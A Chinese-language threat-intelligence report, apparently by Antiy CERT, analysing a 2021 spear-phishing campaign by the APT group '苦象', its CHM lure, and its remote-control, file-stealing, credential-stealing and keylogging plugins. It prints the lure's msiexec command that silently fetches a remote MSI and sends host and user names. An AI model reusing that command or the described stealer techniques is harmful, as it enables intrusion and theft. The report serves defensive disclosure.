概述
近期，安天CERT在梳理安全事件时，发现一批针对我国军工、贸易和能源等领域的网络攻击活动。攻击手法存在伪造身份向目标发送鱼叉邮件，投递恶意附件诱导受害者运行。经归因分析发现，这批活动具备APT组织“苦象”[1]的历史特征，且在针对目标、恶意代码和网络资产等层面均存在关联，属于“苦象”组织在2021年上半年的典型攻击模式。相关攻击活动的特征总结如下：
表 1‑1 攻击活动特征
事件要点 | 特征内容 |
事件概述 | “苦象”组织的网络攻击活动 |
攻击目标 | 我国的军工、贸易和能源等领域目标 |
攻击手法 | 鱼叉邮件投递恶意附件，附件包含恶意CHM文件诱导点击 |
攻击意图 | 窃密 |
攻击时间 | 2021年4月 |
此外，安天CERT还跟踪、关联到“苦象”组织上半年使用过的多个窃密插件，其攻击技术和代码功能均带有该组织的明显特征，在关联分析章节我们将对asms和sthost两个典型插件进行分析。
02 事件分析
2.1 初始诱饵分析
攻击者会以“会议议程”等邮件主题，伪造受害者可能感兴趣的发件人向目标连续投递多封鱼叉邮件，邮件附件中包含恶意的CHM文件，案例如图：
图 2‑1 附件压缩包中的内容
表 2‑1 样本标签
病毒名称 | Trojan/Script.CHM |
原始文件名 | 会议议程.chm |
MD5 | D91B888205AC1CA80C40426B9F5A6105 |
文件大小 | 10.60 KB (10856 bytes) |
文件格式 | MS Windows HtmlHelp Data |
LanguageCode | English (U.S.) |
“会议议程.chm”为包含恶意脚本的Windows帮助文件，静态属性皆不可用，点击执行后看到的正文为空白：
图 2‑2 CHM文件的正文及属性
此刻，其含有的经混淆的恶意脚本被自动运行，作用是添加一个每15分钟运行一次的系统任务计划：
图 2‑3 CHM文档包含的恶意脚本
任务计划名为“DefenderService”，操作对象为以msiexec命令运行远程的MSI文件，过程完全静默且不重启系统，同时提交本机的主机名和用户名：
%coMSPec% /c start/min msiexec /i http://***.com/***/crt.php?h=%computername%*%username% /qn/norestart
攻击者疑似会针对目标选择性下发CERT.msi的文件内容。CERT.msi负责向以下目录释放下载器模块winupd.exe，下载器模块功能是从C2服务器获取一系列的功能插件，保存在同一目录下：
C:\\Users\\***\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\
在观察到的案例中，陆续功能插件的选取和部署过程约在半小时内完成。
表 2‑2 恶意文件信息列表
哈希 | 文件路径 | 说明（依次落地） |
4e1cc7a2e7ba7858b2bdbcbe344410e4 | C:\\Users\\***\\Downloads\\会议议程.zip | 邮件附件 |
d91b888205ac1ca80c40426b9f5a6105 | C:\\Users\\***\\Downloads\\会议议程.chm | .chm文件 |
6452e2c243db03ecbcacd0419ff8bebf | C:\\Users\\***\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\winupd.exe | 下载器模块 |
ef099d5fe4075132bf3812c9d5ffa8f9 | C:\\Users\\***\\AppData\\Local\\Google\\Chrome\\User Data\\MtMpEnq.exe | 远控插件1 |
bd054c4f43808ef37352f36129bf0c3d | C:\\Users\\***\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\mtAdvanced4.exe | 远控插件2 |
ade9a4ee3acbb0e6b42fb57f118dbd6b | C:\\Users\\***\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\sysmgr.exe | 文件窃取插件 |
7abcca95bc9c69d93be133f6597717c0 | C:\\Users\\***\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\mvrs_crsh.exe | 浏览器凭证窃密插件 |
578918166854037cdcf1bb3a06a7a4f3 | C:\\Users\\***\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\scvhost.exe | 键盘记录插件 |
2.2 部署插件分析
远控插件1：
插件名称：MtMpEnq.exe
MD5: EF099D5FE4075132BF3812C9D5FFA8F9
功能简介：该样本是一个远控。主要功能是对文件进行浏览、传输。也可以执行cmd命令。
C2地址为45.11.***.***，端口34318：
图 2‑4 远控插件1硬编码的C2
表 2‑3 远控插件1控制指令
指令码 | 功能描述 |
2 | Delete File（删除文件） |
18 | FileMgr get drives（获取驱动器） |
19 | FileMgr get Folders（获取目录） |
20 | FileMgr Create File（创建文件） |
21 | FileMgr Copy File（复制文件） |
38 | FileTransfer Begin（开始文件传输） |
39 | FileTransfer Data（进行文件传输） |
40 | FileTransfer Complete（结束文件传输） |
41 | FileTransfer for downloading start（从被控端下载文件） |
48 | Get Command（执行命令） |
49 | Start Command Prompt（获取交互shell） |
50 | Stop Command Prompt（结束交互shell） |
51 | Connection Status（心跳包） |
远控插件2：
插件名称：mtAdvanced4.exe
MD5: BD054C4F43808EF37352F36129BF0C3D
功能简介：该样本是一个远控。主要功能是对文件进行浏览、传输。也可以执行cmd命令。
C2地址为45.11.***.***，端口80：
图 2‑5 远控插件2硬编码的C2
表 2‑4 远控插件2控制指令
指令码 | 功能描述 |
18 | FileMgr get drives（获取驱动器） |
19 | FileMgr get Folders（获取目录） |
38 | FileTransfer Begin（开始文件传输） |
39 | FileTransfer Data（进行文件传输） |
40 | FileTransfer Complete（结束文件传输） |
41 | FileTransfer for downloading start（从被控端下载文件） |
48 | Get Command（执行命令） |
49 | Start Command Prompt（获取交互shell） |
50 | Stop Command Prompt（结束交互shell） |
51 | Connection Status（心跳包） |
文件窃取插件:
插件名称：sysmgr.exe
MD5: ade9a4ee3acbb0e6b42fb57f118dbd6b
功能简介：窃取本机文件，将文件数据POST回攻击者服务器。
选取以下后缀的文件：
表 2‑5 指定的文件窃取对象
指定的后缀名 | .azr、.bmp、.doc、.docx、.eln、.erq、.err、.jpeg、 .jpg、.neat、.pdf、.ppi、.ppt、.rar、.txt、.xls、.xlsx、.zip |
C2：http://***.net/UihbywscTZ/45Ugty845nv7rt.php，80端口
图 2‑6 文件窃密插件的上传流量
浏览器凭证窃密插件：
插件名称：mvrs_crsh.exe
MD5: 7ABCCA95BC9C69D93BE133F6597717C0
功能简介：获取火狐和谷歌浏览器保存的用户名和密码，保存在文件“en-GB-4-0.txt”。
图 2‑7 浏览器窃密插件的窃取对象
键盘记录插件：
插件名称：scvhost.exe
MD5: 578918166854037CDCF1BB3A06A7A4F3
功能简介：该程序被加入系统注册表中的Run启动项，用于记录目标机器上的按键行为，并将按键信息写入文件“syslog0812AXbcW.tean”和文件“syslog0812AXbcW.neat”。.neat文件中的数据最终会被攻击者下发的文件窃取类插件如sysmgr.exe搜寻并上传。
注册键盘钩子，记录按键：
图 2‑8 击键窃密插件的按键记录功能
检测到“ctrl+v”后读取剪贴板内容：
图 2‑9 击键窃密插件的剪贴板记录功能
将监控到的按键信息写入文件“syslog0812AXbcW.tean”：
图 2‑10 击键窃密插件的数据保存位置
记录文件加密方法为每个字节加0x14（解密时每个字节减0x14）：
图 2‑11 击键窃密插件的数据加密方法
03 关联分析
安天CERT通过代码特点、技术手法和向量特征等技术进行关联分析，发现“苦象”组织使用过的数个功能插件，其中多数用于在目标机器上进行窃密作业。本章披露的asms和sthost插件与2.2章节提及的文件窃密插件sysmgr.exe在功能代码设计上十分相近，攻击者以相同逻辑实现类似的文件筛选、过滤、记录等窃密功能，在规避检测方面也使用十分相同的技术方法。
3.1 asms插件分析
表 3‑1 窃密样本标签
病毒名称 | Trojan/Win32.Stealer |
原始文件名 | asms.exe |
MD5 | B63E9710CB67F4A649A83929ED9F0322 |
处理器架构 | Intel 386 or later, and compatibles |
文件大小 | 101 KB (103,936 bytes) |
文件格式 | BinExecute/Microsoft.EXE[:X86] |
时间戳 | 2008-10-27 18:47:55 |
加壳类型 | 无 |
编译语言 | Microsoft Visual C++(2008)[msvcrt,wWinMain] |
该插件是“苦象”组织窃取信息的木马，其主要功能为窃取主机硬盘驱动器中doc、docx、ppt、pptx、xls、pdf、zip、txt以及apk等类型的文件，同时该窃密木马还会探测主机是否存在光盘驱动器，如果存在，则将光盘驱动器中存在的所有文件也回传至攻击的服务器。
当木马在主机中运行时，首先会进行休眠操作，休眠的秒数由其自身随机生成，休眠的目的是为了逃避沙箱的检测。
图 3‑1 随机休眠
休眠完成后，木马会在自身所在目录下创建名为“errore.log”、“error1log.txt”的文件，error1log.txt文件作用是储存后续收集的文件信息，而errore.log文件作用是对自身的操作进行标识。
图 3‑2 创建errore.log
图 3‑3 创建error1log.txt
上述文件创建完成后，木马开始收集主机中不在排除路径列表且符合类型的文件信息，包括文件的完整路径以及文件的创建时间戳。同时，当木马探测到主机中存在光盘驱动器时，木马也会收集光盘驱动器中存在的文件。收集信息完成后，木马则会将收集的文件信息以“创建时间戳_文件路径||”的形式写入error1log.txt。
图 3‑4 攻击者需要收集的类型
图 3‑5 需要排除的路径
图 3‑6 收集文件信息
图 3‑7 搜索指定类型文件
图 3‑8 将收集的信息写入error1log.txt
图 3‑9 error1log.txt文件内容
完成收集信息操作后，木马会在当前目录下创建cachex86.tmp，cachex86.tmp的作用是存储由38位随机字符加机器名形成唯一标识符，标识符的作用在于后续回传窃取的信息时对受害主机进行区分。
图 3‑10 将标识符写入cachex86.tmp文件
图 3‑11 cachex64.tmp
最后，木马会将存储文件信息的error1log.txt以及收集的文件以不加密的方式回传至攻击者的C2服务器。
图 3‑12 回传收集的信息
图 3‑13 回传error1log.txt的流量
图 3‑14 回传文件的流量
3.2 sthost插件分析
表 3‑2 窃密样本标签
病毒名称 | Trojan/Win32.Stealer |
原始文件名 | sthost.exe |
MD5 | 0159DF64E95A4BC0FC1AAFE4AA7FD3B6 |
处理器架构 | Intel 386 or later, and compatibles |
文件大小 | 17.5 KB (17,920 字节) |
文件格式 | BinExecute/Microsoft.EXE[:X86] |
时间戳 | 2090-01-13 05:08:25 |
加壳类型 | 无 |
编译语言 | Microsoft Visual C# / Basic .NET |
该插件为窃密类木马，时间戳经过伪造，内部字符串等信息使用AES加密，运行后解密使用。样本会收集主机基本信息回传，收集指定后缀文件路径并记录到文本，然后根据关注的重点路径和文件修改时间进行筛选，最后对筛选的文件进行回传。
样本在主函数中首先对加密字符串进行解密，其加密字符串首先将空格替换成加号，进行base64解码，随后利用内置密码通过使用基于HMACSHA1的伪随机数生成器，实现基于密码的密钥派生，生成AES算法密钥和初始化向量，最终解密字符串，解密算法如下所示：
图 3‑15 字符串解密
解密出的字符串如下所示：
图 3‑16 解密结果
样本解密字符串后，进入无限循环，用于获取指定系统信息与文件信息并回传，并且每次获取回传都会间隔较长时间：
图 3‑17 获取信息回传
回传的系统信息经过简单的凯撒加密，算法如下所示：
图 3‑18 系统信息加密
在获取信息时，样本自定义了一个Listing的类用于文件信息收集功能，该类初始化结果如下：
图 3‑19 信息收集Listing类
其中RequiredExtension为需要收集的文件后缀，BlacklistFolder为无需遍历的文件夹名称。最后生成的文件内容格式为“文件路径|ddMMyyyy|HHmmss”，实验环境中如下所示：
图 3‑20 收集的信息内容和格式
该类还实现了通过文件最后修改时间（100天内）和文件路径进行筛选的功能。
图 3‑21 根据最后写入时间进行分类
图 3‑22 根据路径进行筛选
最终将筛选出的文件进行上传：
图 3‑23 上传文件
04 威胁框架视角的攻击映射
本次系列攻击活动共涉及ATT&CK框架中10个阶段的18个技术点，具体行为描述如下表：
表 4‑1 近期“苦象”组织攻击活动的技术行为描述表
ATT&CK阶段 | 具体行为 | 注释 |
侦察 | 搜集受害者组织信息 | 收集受害者所属组织，针对性地伪装成受害者感兴趣的身份 |
资源开发 | 获取基础设施 | 注册购买服务器及域名等网络基础设施 |
建立账户 | 注册钓鱼等所用的邮箱账号 | |
初始访问 | 网络钓鱼 | 发送鱼叉邮件，附件投递诱饵文件 |
执行 | 诱导用户执行 | 诱导用户点击执行恶意的CHM帮助文件 |
利用命令和脚本解释器 | 利用CMD命令运行远程载荷 | |
持久化 | 利用自动启动执行引导或登录 | 将自身添加进注册表的Run启动项 |
利用计划任务/工作 | 添加计划任务运行远程MSI载荷 | |
凭证访问 | 从存储密码的位置获取凭证 | 从火狐/谷歌浏览器的默认存储位置获取凭证 |
输入捕捉 | 捕捉记录用户的击键记录，关注账号密码 | |
发现 | 发现文件和目录 | 窃取文件时，发现并排除部分不需关注的目录 |
发现系统所有者/用户 | 发现系统的主机名和用户名 | |
收集 | 压缩/加密收集的数据 | 捕获的用户输入经加密保存在本地文件 |
收集剪贴板数据 | 捕捉记录用户的Ctrl+V行为 | |
输入捕捉 | 捕捉记录用户的击键记录 | |
命令与控制 | 使用应用层协议 | 部分回传过程采用HTTP协议 |
使用加密信道 | 部分回传的数据经自定义加密 | |
数据渗出 | 使用C2信道回传 | 数据回传至C2服务器 |
将涉及到的威胁行为技术点映射到ATT＆CK框架如下图所示：
图 4‑1 近期“苦象”组织攻击活动对应ATT&CK映射图
附录：参考链接
[1] “苦象”组织近期网络攻击活动及泄露武器分析
https://www.antiy.com/response/20200917.html
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